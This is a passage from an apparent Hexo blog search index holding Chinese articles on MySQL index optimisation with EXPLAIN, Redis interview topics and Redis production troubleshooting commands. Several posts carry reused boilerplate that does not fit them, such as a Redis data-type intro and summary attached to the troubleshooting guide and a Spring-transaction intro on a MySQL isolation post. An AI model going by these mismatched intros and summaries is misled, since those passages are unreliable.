created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis面试核心知识点</title>
      <link href="//redis-interview-core/"/>
      <url>//redis-interview-core/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis面试核心知识点"><a href="#Redis面试核心知识点" class="headerlink" title="Redis面试核心知识点"></a>Redis面试核心知识点</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、数据类型与应用"><a href="#一、数据类型与应用" class="headerlink" title="一、数据类型与应用"></a>一、数据类型与应用</h2><p>#</p><h2 id="1-1-五种基本类型"><a href="#1-1-五种基本类型" class="headerlink" title="1.1 五种基本类型"></a>1.1 五种基本类型</h2><table><thead><tr><th>类型</th><th>底层结构</th><th>典型场景</th></tr></thead><tbody><tr><td>String</td><td>SDS</td><td>缓存、计数器、分布式锁</td></tr><tr><td>Hash</td><td>Ziplist/Hashtable</td><td>对象存储、购物车</td></tr><tr><td>List</td><td>Quicklist</td><td>消息队列、时间线</td></tr><tr><td>Set</td><td>Intset/Hashtable</td><td>标签、共同关注、抽奖</td></tr><tr><td>ZSet</td><td>SkipList+Hash</td><td>排行榜、延迟队列</td></tr></tbody></table><p>#</p><h2 id="1-2-特殊类型"><a href="#1-2-特殊类型" class="headerlink" title="1.2 特殊类型"></a>1.2 特殊类型</h2><ul><li><strong>Bitmap</strong>: 位图统计，如用户签到</li><li><strong>HyperLogLog</strong>: 基数统计，UV计算</li><li><strong>GEO</strong>: 地理位置，附近的人</li><li><strong>Stream</strong>: 消息队列，类似Kafka</li></ul><p>#</p><h2 id="1-3-高频面试题"><a href="#1-3-高频面试题" class="headerlink" title="1.3 高频面试题"></a>1.3 高频面试题</h2><p><strong>Q: Redis为什么快？</strong></p><ul><li>纯内存操作</li><li>单线程避免上下文切换</li><li>IO多路复用(6.0后多线程IO)</li><li>高效的数据结构</li></ul><p><strong>Q: String的SDS相比C字符串的优势？</strong></p><ul><li>O(1)获取长度</li><li>二进制安全</li><li>预分配减少内存重分配</li></ul><h2 id="二、持久化机制"><a href="#二、持久化机制" class="headerlink" title="二、持久化机制"></a>二、持久化机制</h2><p>#</p><h2 id="2-1-RDB-vs-AOF"><a href="#2-1-RDB-vs-AOF" class="headerlink" title="2.1 RDB vs AOF"></a>2.1 RDB vs AOF</h2><table><thead><tr><th>特性</th><th>RDB</th><th>AOF</th></tr></thead><tbody><tr><td>文件体积</td><td>紧凑、小</td><td>较大</td></tr><tr><td>恢复速度</td><td>快</td><td>慢</td></tr><tr><td>数据安全</td><td>可能丢数据</td><td>更持久</td></tr><tr><td>性能影响</td><td>fork时阻塞</td><td>持续写入</td></tr></tbody></table><p>#</p><h2 id="2-2-混合持久化-Redis-4-0"><a href="#2-2-混合持久化-Redis-4-0" class="headerlink" title="2.2 混合持久化(Redis 4.0+)"></a>2.2 混合持久化(Redis 4.0+)</h2><ul><li>RDB做全量，AOF做增量</li><li>重写时先RDB格式再AOF格式</li></ul><p>#</p><h2 id="2-3-高频面试题"><a href="#2-3-高频面试题" class="headerlink" title="2.3 高频面试题"></a>2.3 高频面试题</h2><p><strong>Q: AOF重写的原理？</strong></p><ul><li><code>BGREWRITEAOF</code>子进程进行</li><li>写时复制(COW)机制</li><li>重写期间新命令写入AOF缓冲区</li></ul><h2 id="三、高可用架构"><a href="#三、高可用架构" class="headerlink" title="三、高可用架构"></a>三、高可用架构</h2><p>#</p><h2 id="3-1-主从复制"><a href="#3-1-主从复制" class="headerlink" title="3.1 主从复制"></a>3.1 主从复制</h2><ul><li>全量同步：RDB文件 + 缓冲区命令</li><li>增量同步：复制偏移量 + 复制积压缓冲区</li><li>无磁盘复制(diskless replication)</li></ul><p>#</p><h2 id="3-2-哨兵Sentinel"><a href="#3-2-哨兵Sentinel" class="headerlink" title="3.2 哨兵Sentinel"></a>3.2 哨兵Sentinel</h2><ul><li>监控、通知、自动故障转移</li><li>至少需要3个哨兵节点</li><li>主观下线(SDOWN) -&gt; 客观下线(ODOWN)</li></ul><p>#</p><h2 id="3-3-Cluster集群"><a href="#3-3-Cluster集群" class="headerlink" title="3.3 Cluster集群"></a>3.3 Cluster集群</h2><ul><li>16384个槽位均匀分配</li><li>去中心化，节点直连</li><li>哈希槽 = CRC16(key) % 16384</li><li>支持在线扩容缩容</li></ul><p>#</p><h2 id="3-4-高频面试题"><a href="#3-4-高频面试题" class="headerlink" title="3.4 高频面试题"></a>3.4 高频面试题</h2><p><strong>Q: 主从复制中断后如何恢复？</strong></p><ul><li>检查偏移量是否在复制缓冲区</li><li>在缓冲区范围内：增量同步</li><li>超出范围：全量同步</li></ul><h2 id="四、缓存问题"><a href="#四、缓存问题" class="headerlink" title="四、缓存问题"></a>四、缓存问题</h2><p>#</p><h2 id="4-1-缓存穿透"><a href="#4-1-缓存穿透" class="headerlink" title="4.1 缓存穿透"></a>4.1 缓存穿透</h2><ul><li><strong>现象</strong>：查询不存在的数据，直达数据库</li><li><strong>解决</strong>：布隆过滤器、空值缓存、参数校验</li></ul><p>#</p><h2 id="4-2-缓存击穿"><a href="#4-2-缓存击穿" class="headerlink" title="4.2 缓存击穿"></a>4.2 缓存击穿</h2><ul><li><strong>现象</strong>：热点Key过期瞬间大量请求打到DB</li><li><strong>解决</strong>：互斥锁、逻辑过期、热点Key永不过期</li></ul><p>#</p><h2 id="4-3-缓存雪崩"><a href="#4-3-缓存雪崩" class="headerlink" title="4.3 缓存雪崩"></a>4.3 缓存雪崩</h2><ul><li><strong>现象</strong>：大量Key同时过期</li><li><strong>解决</strong>：随机过期时间、多级缓存、熔断降级</li></ul><p>#</p><h2 id="4-4-缓存一致性"><a href="#4-4-缓存一致性" class="headerlink" title="4.4 缓存一致性"></a>4.4 缓存一致性</h2><ul><li>Cache Aside：先更新DB，再删缓存</li><li>Read/Write Through：读写都走缓存</li><li>Write Behind：先写缓存，异步写DB</li></ul><h2 id="五、分布式锁"><a href="#五、分布式锁" class="headerlink" title="五、分布式锁"></a>五、分布式锁</h2><p>#</p><h2 id="5-1-Redis实现方式"><a href="#5-1-Redis实现方式" class="headerlink" title="5.1 Redis实现方式"></a>5.1 Redis实现方式</h2><ul><li><code>SET key value NX EX seconds</code></li><li>Redisson框架：看门狗自动续期</li></ul><p>#</p><h2 id="5-2-可靠性要求"><a href="#5-2-可靠性要求" class="headerlink" title="5.2 可靠性要求"></a>5.2 可靠性要求</h2><ul><li>互斥性：只有一个线程获取锁</li><li>防死锁：设置过期时间</li><li>可重入：同一线程可再次获取</li><li>自动续期：业务未完成时续期</li></ul><p>#</p><h2 id="5-3-RedLock算法"><a href="#5-3-RedLock算法" class="headerlink" title="5.3 RedLock算法"></a>5.3 RedLock算法</h2><ul><li>向N个独立Redis节点申请锁</li><li>多数节点成功且耗时小于超时时间才算成功</li><li>争议：分布式系统专家质疑其正确性</li></ul><h2 id="六、内存管理"><a href="#六、内存管理" class="headerlink" title="六、内存管理"></a>六、内存管理</h2><p>#</p><h2 id="6-1-内存淘汰策略"><a href="#6-1-内存淘汰策略" class="headerlink" title="6.1 内存淘汰策略"></a>6.1 内存淘汰策略</h2><table><thead><tr><th>策略</th><th>说明</th></tr></thead><tbody><tr><td>noeviction</td><td>不淘汰，直接报错</td></tr><tr><td>allkeys-lru</td><td>所有Key中淘汰最近最少使用</td></tr><tr><td>volatile-lru</td><td>过期Key中LRU淘汰</td></tr><tr><td>allkeys-random</td><td>所有Key中随机淘汰</td></tr><tr><td>volatile-random</td><td>过期Key中随机淘汰</td></tr><tr><td>volatile-ttl</td><td>过期Key中淘汰即将过期的</td></tr><tr><td>allkeys-lfu</td><td>所有Key中LFU淘汰(4.0+)</td></tr></tbody></table><p>#</p><h2 id="6-2-大Key问题"><a href="#6-2-大Key问题" class="headerlink" title="6.2 大Key问题"></a>6.2 大Key问题</h2><ul><li><strong>危害</strong>：阻塞主线程、网络拥塞、主从同步延迟</li><li><strong>发现</strong>：<code>redis-cli --bigkeys</code>、<code>MEMORY USAGE</code></li><li><strong>解决</strong>：拆分、压缩、异步删除(UNLINK)</li></ul><p>#</p><h2 id="6-3-内存碎片"><a href="#6-3-内存碎片" class="headerlink" title="6.3 内存碎片"></a>6.3 内存碎片</h2><ul><li><code>mem_fragmentation_ratio = used_memory_rss / used_memory</code></li><li><blockquote><p>1.5说明碎片严重</p></blockquote></li><li>解决：<code>MEMORY PURGE</code>、重启</li></ul><h2 id="七、性能优化"><a href="#七、性能优化" class="headerlink" title="七、性能优化"></a>七、性能优化</h2><p>#</p><h2 id="7-1-管道Pipeline"><a href="#7-1-管道Pipeline" class="headerlink" title="7.1 管道Pipeline"></a>7.1 管道Pipeline</h2><ul><li>批量发送命令，减少RTT</li><li>注意控制单次Pipeline命令数量</li></ul><p>#</p><h2 id="7-2-Lua脚本"><a href="#7-2-Lua脚本" class="headerlink" title="7.2 Lua脚本"></a>7.2 Lua脚本</h2><ul><li>原子性执行多个命令</li><li>减少网络往返</li><li>脚本在服务端执行</li></ul><p>#</p><h2 id="7-3-慢查询优化"><a href="#7-3-慢查询优化" class="headerlink" title="7.3 慢查询优化"></a>7.3 慢查询优化</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 设置慢查询阈值</span></span><br><span class="line">CONFIG SET slowlog-log-slower-than 10000</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看慢查询日志</span></span><br><span class="line">SLOWLOG get 10</span><br></pre></td></tr></table></figure><h2 id="八、Redis-6-0新特性"><a href="#八、Redis-6-0新特性" class="headerlink" title="八、Redis 6.0新特性"></a>八、Redis 6.0新特性</h2><ol><li><strong>多线程IO</strong>：网络读写多线程，命令执行单线程</li><li><strong>ACL访问控制</strong>：细粒度权限管理</li><li><strong>SSL加密</strong>：支持TLS连接</li><li><strong>客户端缓存</strong>：Tracking模式</li></ol><h2 id="九、与其他组件对比"><a href="#九、与其他组件对比" class="headerlink" title="九、与其他组件对比"></a>九、与其他组件对比</h2><p>#</p><h2 id="9-1-Redis-vs-Memcached"><a href="#9-1-Redis-vs-Memcached" class="headerlink" title="9.1 Redis vs Memcached"></a>9.1 Redis vs Memcached</h2><table><thead><tr><th>特性</th><th>Redis</th><th>Memcached</th></tr></thead><tbody><tr><td>数据结构</td><td>丰富</td><td>仅String</td></tr><tr><td>持久化</td><td>支持</td><td>不支持</td></tr><tr><td>集群</td><td>原生支持</td><td>需客户端</td></tr><tr><td>内存管理</td><td>更复杂</td><td>更简单</td></tr></tbody></table><p>#</p><h2 id="9-2-Redis-vs-Kafka"><a href="#9-2-Redis-vs-Kafka" class="headerlink" title="9.2 Redis vs Kafka"></a>9.2 Redis vs Kafka</h2><ul><li>Redis Stream适合轻量级消息队列</li><li>Kafka适合高吞吐、持久化场景</li></ul><h2 id="十、面试答题技巧"><a href="#十、面试答题技巧" class="headerlink" title="十、面试答题技巧"></a>十、面试答题技巧</h2><ol><li><strong>由浅入深</strong>：先说原理，再讲细节</li><li><strong>结合场景</strong>：回答时结合业务场景</li><li><strong>承认局限</strong>：如RedLock争议、缓存一致性问题</li><li><strong>展示经验</strong>：提到实际排查案例</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Redis面试核心围绕：<strong>数据类型、持久化、高可用、缓存策略、分布式锁</strong>五大主题。理解底层原理比背答案更重要，建议结合源码和实战加深理解。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 面试 </tag>
            
            <tag> Redis </tag>
            
            <tag> 知识点 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis线上问题排查手册</title>
      <link href="//redis-troubleshooting-guide/"/>
      <url>//redis-troubleshooting-guide/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis线上问题排查手册"><a href="#Redis线上问题排查手册" class="headerlink" title="Redis线上问题排查手册"></a>Redis线上问题排查手册</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、排查前准备"><a href="#一、排查前准备" class="headerlink" title="一、排查前准备"></a>一、排查前准备</h2><p>#</p><h2 id="1-1-确认问题现象"><a href="#1-1-确认问题现象" class="headerlink" title="1.1 确认问题现象"></a>1.1 确认问题现象</h2><ul><li>连接超时还是命令执行慢</li><li>单机还是集群环境</li><li>问题发生的时间点和频率</li></ul><p>#</p><h2 id="1-2-收集基础信息"><a href="#1-2-收集基础信息" class="headerlink" title="1.2 收集基础信息"></a>1.2 收集基础信息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Redis线上问题排查手册</span></span><br><span class="line">redis-cli INFO server</span><br><span class="line">redis-cli INFO clients</span><br><span class="line">redis-cli INFO memory</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接数</span></span><br><span class="line">redis-cli INFO clients | grep connected_clients</span><br></pre></td></tr></table></figure><h2 id="二、连接问题排查"><a href="#二、连接问题排查" class="headerlink" title="二、连接问题排查"></a>二、连接问题排查</h2><p>#</p><h2 id="2-1-连接数爆满"><a href="#2-1-连接数爆满" class="headerlink" title="2.1 连接数爆满"></a>2.1 连接数爆满</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli INFO clients</span><br></pre></td></tr></table></figure><ul><li><code>connected_clients</code> &gt; <code>maxclients</code></li><li>解决：检查连接池配置，排查连接泄漏</li></ul><p>#</p><h2 id="2-2-连接被拒绝"><a href="#2-2-连接被拒绝" class="headerlink" title="2.2 连接被拒绝"></a>2.2 连接被拒绝</h2><ul><li>检查<code>bind</code>配置和防火墙</li><li>检查<code>protected-mode</code></li><li>检查<code>maxclients</code>是否达到上限</li></ul><p>#</p><h2 id="2-3-连接超时"><a href="#2-3-连接超时" class="headerlink" title="2.3 连接超时"></a>2.3 连接超时</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli --latency -h host -p port</span><br></pre></td></tr></table></figure><ul><li>网络延迟：<code>PING</code>命令耗时</li><li>服务端阻塞：检查慢查询</li></ul><h2 id="三、性能问题排查"><a href="#三、性能问题排查" class="headerlink" title="三、性能问题排查"></a>三、性能问题排查</h2><p>#</p><h2 id="3-1-响应延迟高"><a href="#3-1-响应延迟高" class="headerlink" title="3.1 响应延迟高"></a>3.1 响应延迟高</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看慢查询</span></span><br><span class="line">redis-cli SLOWLOG get 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看CPU</span></span><br><span class="line">redis-cli INFO cpu</span><br></pre></td></tr></table></figure><p>常见原因：</p><ul><li>大Key操作：<code>KEYS *</code>、<code>HGETALL</code>大Hash</li><li>复杂命令：<code>SORT</code>、<code>SUNION</code>集合运算</li><li>持久化阻塞：AOF刷盘或RDB fork</li></ul><p>#</p><h2 id="3-2-CPU使用率过高"><a href="#3-2-CPU使用率过高" class="headerlink" title="3.2 CPU使用率过高"></a>3.2 CPU使用率过高</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli INFO commandstats</span><br></pre></td></tr></table></figure><ul><li>高频命令分析</li><li>是否大量<code>O(N)</code>命令</li></ul><p>#</p><h2 id="3-3-内存使用过高"><a href="#3-3-内存使用过高" class="headerlink" title="3.3 内存使用过高"></a>3.3 内存使用过高</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli INFO memory</span><br><span class="line">redis-cli --bigkeys</span><br><span class="line">redis-cli MEMORY DOCTOR</span><br></pre></td></tr></table></figure><p>排查步骤：</p><ol><li><code>used_memory</code> vs <code>maxmemory</code></li><li><code>MEMORY DOCTOR</code>诊断</li><li><code>--bigkeys</code>找大Key</li><li><code>MEMORY USAGE key</code>精确分析</li></ol><h2 id="四、主从复制问题"><a href="#四、主从复制问题" class="headerlink" title="四、主从复制问题"></a>四、主从复制问题</h2><p>#</p><h2 id="4-1-复制中断"><a href="#4-1-复制中断" class="headerlink" title="4.1 复制中断"></a>4.1 复制中断</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli INFO replication</span><br></pre></td></tr></table></figure><p>检查：</p><ul><li><code>master_link_status: down</code></li><li><code>master_last_io_seconds_ago</code></li></ul><p>解决：</p><ul><li>网络连通性</li><li><code>repl-timeout</code>配置</li><li>缓冲区溢出<code>client-output-buffer-limit</code></li></ul><p>#</p><h2 id="4-2-主从数据不一致"><a href="#4-2-主从数据不一致" class="headerlink" title="4.2 主从数据不一致"></a>4.2 主从数据不一致</h2><ul><li>复制延迟：<code>master_repl_offset</code> - <code>slave_repl_offset</code></li><li>检查<code>repl-backlog-size</code></li></ul><p>#</p><h2 id="4-3-全量同步频繁"><a href="#4-3-全量同步频繁" class="headerlink" title="4.3 全量同步频繁"></a>4.3 全量同步频繁</h2><ul><li><code>info stats</code>中<code>sync_full</code></li><li>原因：从节点重启、复制缓冲区不足</li></ul><h2 id="五、集群问题排查"><a href="#五、集群问题排查" class="headerlink" title="五、集群问题排查"></a>五、集群问题排查</h2><p>#</p><h2 id="5-1-集群状态异常"><a href="#5-1-集群状态异常" class="headerlink" title="5.1 集群状态异常"></a>5.1 集群状态异常</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli --cluster check host:port</span><br></pre></td></tr></table></figure><ul><li>槽位分配是否完整16384个</li><li>是否有节点处于fail状态</li></ul><p>#</p><h2 id="5-2-节点迁移失败"><a href="#5-2-节点迁移失败" class="headerlink" title="5.2 节点迁移失败"></a>5.2 节点迁移失败</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli --cluster reshard host:port</span><br></pre></td></tr></table></figure><ul><li>检查源节点是否有大Key</li><li>检查目标节点内存是否充足</li></ul><p>#</p><h2 id="5-3-客户端MOVED-ASK异常"><a href="#5-3-客户端MOVED-ASK异常" class="headerlink" title="5.3 客户端MOVED/ASK异常"></a>5.3 客户端MOVED/ASK异常</h2><ul><li>客户端是否支持集群模式</li><li>集群拓扑是否已更新</li></ul><h2 id="六、持久化问题"><a href="#六、持久化问题" class="headerlink" title="六、持久化问题"></a>六、持久化问题</h2><p>#</p><h2 id="6-1-AOF文件过大"><a href="#6-1-AOF文件过大" class="headerlink" title="6.1 AOF文件过大"></a>6.1 AOF文件过大</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli BGREWRITEAOF</span><br></pre></td></tr></table></figure><ul><li><code>auto-aof-rewrite-percentage</code></li><li>手动重写AOF</li></ul><p>#</p><h2 id="6-2-RDB生成失败"><a href="#6-2-RDB生成失败" class="headerlink" title="6.2 RDB生成失败"></a>6.2 RDB生成失败</h2><ul><li><code>save</code>配置是否合理</li><li>磁盘空间</li><li><code>bgsave</code>时fork失败(内存不足)</li></ul><h2 id="七、典型场景排查清单"><a href="#七、典型场景排查清单" class="headerlink" title="七、典型场景排查清单"></a>七、典型场景排查清单</h2><table><thead><tr><th>问题现象</th><th>排查命令</th><th>常见原因</th></tr></thead><tbody><tr><td>连接超时</td><td><code>INFO clients</code>, <code>latency</code></td><td>连接池耗尽、网络问题</td></tr><tr><td>命令慢</td><td><code>SLOWLOG</code>, <code>INFO commandstats</code></td><td>大Key、复杂命令、fork阻塞</td></tr><tr><td>内存告警</td><td><code>INFO memory</code>, <code>--bigkeys</code></td><td>大Key、内存泄漏、未设过期</td></tr><tr><td>主从断开</td><td><code>INFO replication</code></td><td>网络、超时、缓冲区满</td></tr><tr><td>集群报错</td><td><code>CLUSTER INFO</code>, <code>CLUSTER NODES</code></td><td>节点故障、槽位异常</td></tr><tr><td>CPU高</td><td><code>INFO cpu</code>, <code>INFO commandstats</code></td><td>复杂命令、高频操作</td></tr></tbody></table><h2 id="八、常用诊断工具"><a href="#八、常用诊断工具" class="headerlink" title="八、常用诊断工具"></a>八、常用诊断工具</h2><p>#</p><h2 id="8-1-redis-cli内置命令"><a href="#8-1-redis-cli内置命令" class="headerlink" title="8.1 redis-cli内置命令"></a>8.1 redis-cli内置命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli MONITOR          <span class="comment"># 实时监控命令</span></span><br><span class="line">redis-cli --latency        <span class="comment"># 延迟检测</span></span><br><span class="line">redis-cli --latency-history</span><br><span class="line">redis-cli --bigkeys        <span class="comment"># 大Key扫描</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-第三方工具"><a href="#8-2-第三方工具" class="headerlink" title="8.2 第三方工具"></a>8.2 第三方工具</h2><ul><li><strong>redis-rdb-tools</strong>: RDB文件分析</li><li><strong>redis-faina</strong>: 命令热点分析</li><li><strong>redis-stat</strong>: 实时监控工具</li></ul><p>#</p><h2 id="8-3-系统级工具"><a href="#8-3-系统级工具" class="headerlink" title="8.3 系统级工具"></a>8.3 系统级工具</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Redis进程</span></span><br><span class="line">top -p $(pgrep redis-server)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看网络连接</span></span><br><span class="line">ss -ant | grep 6379</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看文件句柄</span></span><br><span class="line">lsof -p $(pgrep redis-server)</span><br></pre></td></tr></table></figure><h2 id="九、预防措施"><a href="#九、预防措施" class="headerlink" title="九、预防措施"></a>九、预防措施</h2><ol><li><strong>监控告警</strong>：连接数、内存、QPS、延迟</li><li><strong>配置优化</strong>：合理的<code>maxmemory</code>、<code>timeout</code></li><li><strong>慢查询</strong>：设置<code>slowlog-log-slower-than</code></li><li><strong>定期巡检</strong>：<code>redis-cli --cluster check</code></li><li><strong>应急方案</strong>：主从切换、备份恢复流程</li></ol><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><p>Redis线上问题排查需要系统化的思路：先定位现象层面（连接/性能/内存），再深入具体原因，最后根据场景选择解决方案。建议团队建立标准的Redis运维手册和应急预案。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 运维 </tag>
            
            <tag> 故障排查 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别和幻读问题"><a href="#MySQL-事务隔离级别和幻读问题" class="headerlink" title="MySQL 事务隔离级别和幻读问题"></a>MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  